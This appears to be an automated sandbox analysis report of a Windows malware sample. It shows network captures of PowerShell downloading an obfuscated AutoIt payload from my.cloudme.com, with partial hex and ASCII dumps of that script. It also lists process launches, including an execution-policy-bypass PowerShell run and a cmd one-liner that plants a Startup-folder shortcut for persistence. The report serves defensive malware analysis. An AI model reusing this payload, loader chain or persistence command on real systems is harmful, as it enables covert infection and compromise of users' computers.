Oct 7, 2024 21:30:05.466355085 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:05.466372013 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.466382980 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:05.466439009 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:05.634366035 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:05.634392977 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.634476900 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:05.658369064 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:05.658380032 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.658392906 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.658406973 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.658425093 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.658432007 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:05.658437967 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.658457041 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:05.658463001 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.658505917 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:05.658514023 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.658524990 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.658552885 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:05.658557892 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.658579111 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.658596039 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:05.658601999 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.658638954 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:05.658682108 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:05.837508917 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:05.837547064 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.837567091 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.837651014 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:05.859457970 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:05.859463930 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.859500885 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.859513044 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.859627962 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:05.859636068 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.859662056 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.859688044 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.859723091 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:05.859729052 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.859802961 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:05.859812021 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.859916925 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:06.010876894 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:06.010905981 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:06.010936975 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:06.011014938 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:06.033019066 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:06.033047915 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:06.033086061 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:06.033099890 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:06.033307076 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:06.033307076 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:06.033318996 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:06.033350945 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:06.033368111 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:06.033385038 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:06.033397913 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:06.033447027 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:06.033456087 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:06.033473969 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:06.033528090 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:06.243410110 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:06.243571997 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:06.254591942 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:06.254610062 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:06.254638910 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:06.254699945 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:06.285456896 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:06.285485983 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:06.285521984 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:06.285532951 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:06.285634995 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:06.285646915 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:06.285664082 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:06.285682917 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:06.285741091 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:06.285748005 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:06.285763025 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:06.285814047 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:06.285814047 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:06.285885096 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:06.285891056 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:06.285943985 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:06.480089903 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:06.480129004 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:06.480159044 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:06.480328083 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:06.480328083 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:06.499790907 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:06.499819994 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:06.499846935 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:06.499856949 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:06.499968052 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:06.499979973 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:06.500009060 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:06.500030994 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:06.500058889 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:06.500111103 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:06.909497976 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:07.073082924 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:07.302570105 CEST	49730	443	192.168.2.4	83.140.241.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 21:30:01.833945036 CEST	55241	53	192.168.2.4	1.1.1.1
Oct 7, 2024 21:30:02.072568893 CEST	53	55241	1.1.1.1	192.168.2.4
Oct 7, 2024 21:30:10.590367079 CEST	64582	53	192.168.2.4	1.1.1.1
Oct 7, 2024 21:30:10.606520891 CEST	53	64582	1.1.1.1	192.168.2.4
Oct 7, 2024 21:30:30.059900045 CEST	49345	53	192.168.2.4	1.1.1.1
Oct 7, 2024 21:30:30.076343060 CEST	53	49345	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 7, 2024 21:30:01.833945036 CEST	192.168.2.4	1.1.1.1	0x55e8	Standard query (0)	my.cloudme.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:30:10.590367079 CEST	192.168.2.4	1.1.1.1	0xf90c	Standard query (0)	nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:30:30.059900045 CEST	192.168.2.4	1.1.1.1	0x488a	Standard query (0)	nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 7, 2024 21:30:02.072568893 CEST	1.1.1.1	192.168.2.4	0x55e8	No error (0)	my.cloudme.com		83.140.241.4	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:30:10.606520891 CEST	1.1.1.1	192.168.2.4	0xf90c	Name error (3)	nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:30:30.076343060 CEST	1.1.1.1	192.168.2.4	0x488a	Name error (3)	nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

my.cloudme.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	83.140.241.4	443	7364	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:30:02 UTC	191	OUT	GET /v1/ws2/:stream2/:small/small.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: my.cloudme.com Connection: Keep-Alive
2024-10-07 19:30:03 UTC	395	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 19:30:03 GMT Content-Type: text/plain; charset=ISO-8859-1 Content-Length: 3485122 Connection: close Last-Modified: Tue, 01 Oct 2024 19:28:17 GMT Content-Disposition: attachment Cache-Control: private, max-age=0 ETag: "66fc4d51-352dc2" Accept-Ranges: bytes Content-Security-Policy: frame-ancestors *.cloudme.com
2024-10-07 19:30:03 UTC	15989	IN	Data Raw: 46 75 6e 63 20 4e 75 74 72 69 74 69 6f 6e 53 70 65 65 64 4d 61 79 6f 72 46 61 6d 69 6c 69 65 73 28 24 53 6d 4b 69 73 73 2c 20 24 45 66 66 69 63 69 65 6e 74 6c 79 46 6f 72 6d 75 6c 61 2c 20 24 43 6f 6e 73 75 6c 74 69 6e 67 53 6f 72 74 73 4c 61 62 73 2c 20 24 66 75 72 74 68 65 72 74 65 72 72 6f 72 69 73 74 2c 20 24 42 49 4b 45 4f 43 43 55 52 52 45 4e 43 45 53 4c 49 47 48 54 2c 20 24 52 65 76 65 72 73 65 50 68 69 6c 69 70 70 69 6e 65 73 29 0a 24 50 64 42 6c 6f 63 6b 73 52 65 73 70 6f 6e 73 65 44 61 74 20 3d 20 27 37 33 39 31 31 39 36 31 38 37 37 32 27 0a 24 56 65 72 69 66 69 65 64 55 6e 64 65 72 73 74 6f 6f 64 56 61 6c 69 64 61 74 69 6f 6e 20 3d 20 33 34 0a 24 69 6f 73 79 6d 70 68 6f 6e 79 73 65 65 6d 73 63 72 75 63 69 61 6c 20 3d 20 35 30 0a 46 6f 72 20 24 Data Ascii: Func NutritionSpeedMayorFamilies($SmKiss, $EfficientlyFormula, $ConsultingSortsLabs, $furtherterrorist, $BIKEOCCURRENCESLIGHT, $ReversePhilippines)$PdBlocksResponseDat = '739119618772'$VerifiedUnderstoodValidation = 34$iosymphonyseemscrucial = 50For $
2024-10-07 19:30:03 UTC	16384	IN	Data Raw: 4d 45 47 41 55 47 45 20 3d 20 39 38 0a 46 6f 72 20 24 55 63 67 52 20 3d 20 36 32 20 54 6f 20 37 38 36 0a 49 66 20 24 53 74 61 72 74 73 45 71 75 69 74 79 49 6e 63 75 72 72 65 64 4c 61 79 6f 75 74 20 3d 20 38 37 20 54 68 65 6e 0a 50 69 78 65 6c 47 65 74 43 6f 6c 6f 72 28 57 61 6c 65 73 28 22 38 37 5d 37 38 5d 37 36 5d 37 38 5d 39 32 5d 39 32 5d 37 34 5d 39 31 5d 38 32 5d 38 35 5d 39 38 5d 35 31 5d 38 34 5d 37 34 5d 38 32 5d 35 31 5d 38 31 5d 39 34 5d 39 31 5d 39 31 5d 38 32 5d 37 36 5d 37 34 5d 38 37 5d 37 38 5d 35 31 5d 37 36 5d 38 38 5d 39 36 5d 35 31 22 2c 39 2f 31 29 2c 20 57 61 6c 65 73 28 22 38 37 5d 37 38 5d 37 36 5d 37 38 5d 39 32 5d 39 32 5d 37 34 5d 39 31 5d 38 32 5d 38 35 5d 39 38 5d 35 31 5d 38 34 5d 37 34 5d 38 32 5d 35 31 5d 38 31 5d 39 34 5d Data Ascii: MEGAUGE = 98For $UcgR = 62 To 786If $StartsEquityIncurredLayout = 87 ThenPixelGetColor(Wales("87]78]76]78]92]92]74]91]82]85]98]51]84]74]82]51]81]94]91]91]82]76]74]87]78]51]76]88]96]51",9/1), Wales("87]78]76]78]92]92]74]91]82]85]98]51]84]74]82]51]81]94]
2024-10-07 19:30:03 UTC	16384	IN	Data Raw: 59 41 20 2b 20 31 0a 45 6e 64 49 66 0a 49 66 20 24 42 49 54 52 45 41 44 49 4e 47 53 59 41 20 3d 20 39 36 20 54 68 65 6e 0a 44 72 69 76 65 53 74 61 74 75 73 28 57 61 6c 65 73 28 22 37 30 5d 31 31 34 5d 31 31 33 5d 31 32 31 5d 31 30 34 5d 31 31 37 5d 31 31 39 5d 31 30 38 5d 31 30 31 5d 31 31 31 5d 31 30 34 5d 33 36 22 2c 32 37 2f 39 29 29 0a 41 54 61 6e 28 36 31 30 30 29 0a 41 53 69 6e 28 34 31 35 33 29 0a 24 42 49 54 52 45 41 44 49 4e 47 53 59 41 20 3d 20 24 42 49 54 52 45 41 44 49 4e 47 53 59 41 20 2b 20 31 0a 45 6e 64 49 66 0a 49 66 20 24 42 49 54 52 45 41 44 49 4e 47 53 59 41 20 3d 20 39 37 20 54 68 65 6e 0a 24 4e 61 72 72 6f 77 4c 61 74 69 6e 61 73 4c 69 62 72 61 72 79 20 3d 20 44 65 63 28 57 61 6c 65 73 28 22 39 37 5d 37 31 5d 37 30 5d 31 30 31 5d 37 Data Ascii: YA + 1EndIfIf $BITREADINGSYA = 96 ThenDriveStatus(Wales("70]114]113]121]104]117]119]108]101]111]104]36",27/9))ATan(6100)ASin(4153)$BITREADINGSYA = $BITREADINGSYA + 1EndIfIf $BITREADINGSYA = 97 Then$NarrowLatinasLibrary = Dec(Wales("97]71]70]101]7
2024-10-07 19:30:03 UTC	16384	IN	Data Raw: 64 49 66 0a 49 66 20 24 6c 69 73 61 6b 6e 6f 77 6c 65 64 67 65 73 74 6f 72 6d 73 68 61 72 70 69 6e 73 69 67 68 74 20 3d 20 33 30 20 54 68 65 6e 0a 4c 6f 63 61 6c 20 24 46 69 6e 64 73 4b 73 44 69 66 66 69 63 75 6c 74 79 55 73 70 73 32 20 3d 20 44 6c 6c 53 74 72 75 63 74 43 72 65 61 74 65 28 57 61 6c 65 73 28 22 31 30 32 5d 31 32 35 5d 31 32 30 5d 31 30 35 5d 39 35 22 2c 31 36 2f 34 29 20 26 20 24 63 65 72 74 69 66 69 63 61 74 65 61 63 74 69 6f 6e 32 20 26 20 57 61 6c 65 73 28 22 39 39 22 2c 36 2f 31 29 29 0a 45 78 69 74 4c 6f 6f 70 0a 45 6e 64 49 66 0a 49 66 20 24 6c 69 73 61 6b 6e 6f 77 6c 65 64 67 65 73 74 6f 72 6d 73 68 61 72 70 69 6e 73 69 67 68 74 20 3d 20 33 31 20 54 68 65 6e 0a 44 65 63 28 57 61 6c 65 73 28 22 31 31 37 5d 31 30 32 5d 31 32 30 5d 31 Data Ascii: dIfIf $lisaknowledgestormsharpinsight = 30 ThenLocal $FindsKsDifficultyUsps2 = DllStructCreate(Wales("102]125]120]105]95",16/4) & $certificateaction2 & Wales("99",6/1))ExitLoopEndIfIf $lisaknowledgestormsharpinsight = 31 ThenDec(Wales("117]102]120]1
2024-10-07 19:30:03 UTC	16384	IN	Data Raw: 30 36 5d 31 30 35 5d 33 37 5d 33 37 5d 33 37 5d 33 37 5d 37 36 5d 31 30 36 5d 31 32 31 5d 33 37 5d 33 37 5d 33 37 5d 33 37 22 2c 34 35 2f 39 29 29 0a 44 65 63 28 57 61 6c 65 73 28 22 38 35 5d 31 30 32 5d 31 30 34 5d 31 31 32 5d 31 30 32 5d 31 30 38 5d 31 30 36 5d 31 32 30 5d 35 32 5d 38 38 5d 31 32 31 5d 31 31 39 5d 31 32 32 5d 31 30 34 5d 31 32 31 5d 31 32 32 5d 31 31 39 5d 31 30 36 5d 31 32 30 5d 35 32 22 2c 32 35 2f 35 29 29 0a 24 77 61 69 74 73 75 73 73 65 78 20 3d 20 24 77 61 69 74 73 75 73 73 65 78 20 2b 20 31 0a 45 6e 64 49 66 0a 49 66 20 24 77 61 69 74 73 75 73 73 65 78 20 3d 20 31 32 20 54 68 65 6e 0a 24 4e 4d 53 45 41 52 43 48 4f 52 44 45 52 43 41 54 41 4c 4f 47 55 45 20 3d 20 44 6c 6c 53 74 72 75 63 74 43 72 65 61 74 65 28 27 62 79 74 65 5b 27 Data Ascii: 06]105]37]37]37]37]76]106]121]37]37]37]37",45/9))Dec(Wales("85]102]104]112]102]108]106]120]52]88]121]119]122]104]121]122]119]106]120]52",25/5))$waitsussex = $waitsussex + 1EndIfIf $waitsussex = 12 Then$NMSEARCHORDERCATALOGUE = DllStructCreate('byte['
2024-10-07 19:30:03 UTC	16384	IN	Data Raw: 33 29 29 0a 43 68 72 28 34 38 33 37 29 0a 24 73 65 74 74 69 6e 67 73 6f 6d 65 72 73 65 74 76 65 67 65 74 61 72 69 61 6e 74 75 72 6e 20 3d 20 24 73 65 74 74 69 6e 67 73 6f 6d 65 72 73 65 74 76 65 67 65 74 61 72 69 61 6e 74 75 72 6e 20 2b 20 31 0a 45 6e 64 49 66 0a 49 66 20 24 73 65 74 74 69 6e 67 73 6f 6d 65 72 73 65 74 76 65 67 65 74 61 72 69 61 6e 74 75 72 6e 20 3d 20 34 35 20 54 68 65 6e 0a 24 46 69 73 68 52 6f 6c 61 6e 64 53 74 75 66 66 20 3d 20 44 65 63 28 57 61 6c 65 73 28 22 31 31 37 5d 37 36 5d 38 36 5d 38 30 5d 31 32 35 5d 31 31 36 5d 38 38 5d 31 32 38 5d 38 32 5d 31 30 39 5d 38 33 5d 39 36 5d 31 31 35 22 2c 33 36 2f 36 29 29 0a 45 78 69 74 4c 6f 6f 70 0a 45 6e 64 49 66 0a 49 66 20 24 73 65 74 74 69 6e 67 73 6f 6d 65 72 73 65 74 76 65 67 65 74 61 Data Ascii: 3))Chr(4837)$settingsomersetvegetarianturn = $settingsomersetvegetarianturn + 1EndIfIf $settingsomersetvegetarianturn = 45 Then$FishRolandStuff = Dec(Wales("117]76]86]80]125]116]88]128]82]109]83]96]115",36/6))ExitLoopEndIfIf $settingsomersetvegeta
2024-10-07 19:30:03 UTC	16384	IN	Data Raw: 35 27 0a 24 53 74 72 69 63 74 52 65 61 6c 74 6f 72 73 41 64 6d 69 6e 69 73 74 72 61 74 69 6f 6e 20 3d 20 36 0a 24 54 72 61 64 65 72 57 61 6c 20 3d 20 37 31 0a 57 68 69 6c 65 20 35 34 0a 49 66 20 24 53 74 72 69 63 74 52 65 61 6c 74 6f 72 73 41 64 6d 69 6e 69 73 74 72 61 74 69 6f 6e 20 3d 20 35 20 54 68 65 6e 0a 50 69 78 65 6c 47 65 74 43 6f 6c 6f 72 28 32 36 2c 20 36 30 36 2c 20 30 29 0a 44 72 69 76 65 53 74 61 74 75 73 28 57 61 6c 65 73 28 22 31 31 36 5d 31 31 33 5d 31 32 31 5d 31 31 37 5d 33 34 5d 39 39 5d 31 31 36 5d 31 31 31 5d 31 32 33 5d 33 34 5d 31 31 36 5d 39 39 5d 31 31 32 5d 31 30 39 5d 31 30 37 5d 31 31 32 5d 31 30 35 5d 33 34 5d 31 31 31 5d 31 30 37 5d 39 39 5d 33 34 22 2c 31 34 2f 37 29 29 0a 24 53 74 72 69 63 74 52 65 61 6c 74 6f 72 73 41 64 Data Ascii: 5'$StrictRealtorsAdministration = 6$TraderWal = 71While 54If $StrictRealtorsAdministration = 5 ThenPixelGetColor(26, 606, 0)DriveStatus(Wales("116]113]121]117]34]99]116]111]123]34]116]99]112]109]107]112]105]34]111]107]99]34",14/7))$StrictRealtorsAd
2024-10-07 19:30:03 UTC	16384	IN	Data Raw: 73 50 73 20 3d 20 43 6f 6e 73 6f 6c 65 57 72 69 74 65 45 72 72 6f 72 28 57 61 6c 65 73 28 22 31 31 38 5d 38 30 5d 31 31 38 5d 31 31 32 5d 31 30 35 5d 36 39 5d 38 30 5d 31 31 39 5d 38 30 5d 39 34 5d 31 32 33 5d 31 32 30 5d 31 31 39 5d 31 30 33 5d 31 31 30 22 2c 31 32 2f 33 29 29 0a 45 78 69 74 4c 6f 6f 70 0a 45 6e 64 49 66 0a 4e 65 78 74 0a 24 62 61 73 69 63 73 61 74 68 6c 65 74 69 63 73 20 3d 20 27 39 39 35 37 32 30 35 30 31 39 30 38 39 35 39 38 30 32 31 36 32 35 30 36 35 37 34 38 30 36 32 36 37 34 32 39 37 36 30 37 33 35 37 32 31 34 36 30 34 37 33 32 31 35 38 35 30 30 33 35 36 37 30 35 37 27 0a 24 4a 65 4f 6b 61 79 20 3d 20 35 34 0a 24 4d 69 73 73 65 64 48 61 70 70 79 50 70 43 65 6e 74 72 61 6c 20 3d 20 39 35 0a 46 6f 72 20 24 45 61 52 62 20 3d 20 32 34 Data Ascii: sPs = ConsoleWriteError(Wales("118]80]118]112]105]69]80]119]80]94]123]120]119]103]110",12/3))ExitLoopEndIfNext$basicsathletics = '99572050190895980216250657480626742976073572146047321585003567057'$JeOkay = 54$MissedHappyPpCentral = 95For $EaRb = 24
2024-10-07 19:30:03 UTC	16384	IN	Data Raw: 30 38 5d 31 32 36 5d 31 30 39 5d 31 32 32 5d 31 32 34 5d 31 31 33 5d 31 32 33 5d 31 30 39 5d 31 31 37 5d 31 30 39 5d 31 31 38 5d 31 32 34 5d 31 32 33 5d 35 33 5d 39 32 5d 31 32 32 5d 31 30 35 5d 31 30 37 5d 31 32 34 5d 35 33 5d 37 36 5d 31 31 39 5d 31 32 37 5d 31 31 38 5d 31 31 36 5d 31 31 39 5d 31 30 35 5d 31 30 38 5d 31 30 35 5d 31 30 36 5d 31 31 36 5d 31 30 39 5d 35 33 22 2c 35 36 2f 37 29 29 0a 44 72 69 76 65 53 74 61 74 75 73 28 57 61 6c 65 73 28 22 39 30 5d 31 30 37 5d 31 30 35 5d 31 31 30 5d 31 31 36 5d 31 31 31 5d 31 30 35 5d 31 30 33 5d 31 31 34 5d 34 31 5d 38 39 5d 31 32 33 5d 31 30 39 5d 31 30 39 5d 31 30 37 5d 31 32 31 5d 31 32 32 5d 31 30 37 5d 31 30 36 5d 34 31 22 2c 33 36 2f 36 29 29 0a 24 70 6f 72 74 65 72 6c 61 62 6f 72 61 74 6f 72 79 20 Data Ascii: 08]126]109]122]124]113]123]109]117]109]118]124]123]53]92]122]105]107]124]53]76]119]127]118]116]119]105]108]105]106]116]109]53",56/7))DriveStatus(Wales("90]107]105]110]116]111]105]103]114]41]89]123]109]109]107]121]122]107]106]41",36/6))$porterlaboratory
2024-10-07 19:30:03 UTC	16384	IN	Data Raw: 43 6f 6c 6f 72 28 57 61 6c 65 73 28 22 37 39 5d 37 30 5d 38 38 5d 36 37 5d 37 34 5d 37 30 5d 34 36 5d 38 33 5d 36 36 5d 37 34 5d 37 37 5d 38 33 5d 38 30 5d 36 36 5d 36 39 5d 34 36 5d 37 32 5d 38 36 5d 37 39 5d 38 34 5d 34 36 5d 36 39 5d 37 34 5d 38 34 5d 36 38 5d 34 36 22 2c 39 2f 39 29 2c 20 57 61 6c 65 73 28 22 37 39 5d 37 30 5d 38 38 5d 36 37 5d 37 34 5d 37 30 5d 34 36 5d 38 33 5d 36 36 5d 37 34 5d 37 37 5d 38 33 5d 38 30 5d 36 36 5d 36 39 5d 34 36 5d 37 32 5d 38 36 5d 37 39 5d 38 34 5d 34 36 5d 36 39 5d 37 34 5d 38 34 5d 36 38 5d 34 36 22 2c 39 2f 39 29 29 0a 24 54 65 6d 70 6c 65 52 65 61 6c 69 73 74 69 63 43 6f 6d 70 61 6e 79 41 6e 79 77 68 65 72 65 20 3d 20 24 54 65 6d 70 6c 65 52 65 61 6c 69 73 74 69 63 43 6f 6d 70 61 6e 79 41 6e 79 77 68 65 72 65 Data Ascii: Color(Wales("79]70]88]67]74]70]46]83]66]74]77]83]80]66]69]46]72]86]79]84]46]69]74]84]68]46",9/9), Wales("79]70]88]67]74]70]46]83]66]74]77]83]80]66]69]46]72]86]79]84]46]69]74]84]68]46",9/9))$TempleRealisticCompanyAnywhere = $TempleRealisticCompanyAnywhere

Target ID:	0
Start time:	15:29:57
Start date:	07/10/2024
Path:	C:\Users\user\Desktop\T6l6gPxwQU.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\T6l6gPxwQU.exe"
Imagebase:	0x7ff6bb120000
File size:	1'974'272 bytes
MD5 hash:	FCA042B18ADF613D9A2BE1646663698F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	15:29:58
Start date:	07/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\ProfileDetails.ps1"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:29:58
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:30:06
Start date:	07/10/2024
Path:	C:\Users\Public\InformationCheck.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\InformationCheck.exe" C:\Users\Public\Details.au3
Imagebase:	0x530000
File size:	893'608 bytes
MD5 hash:	C56B5F0201A3B3DE53E561FE76912BFD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	15:30:09
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
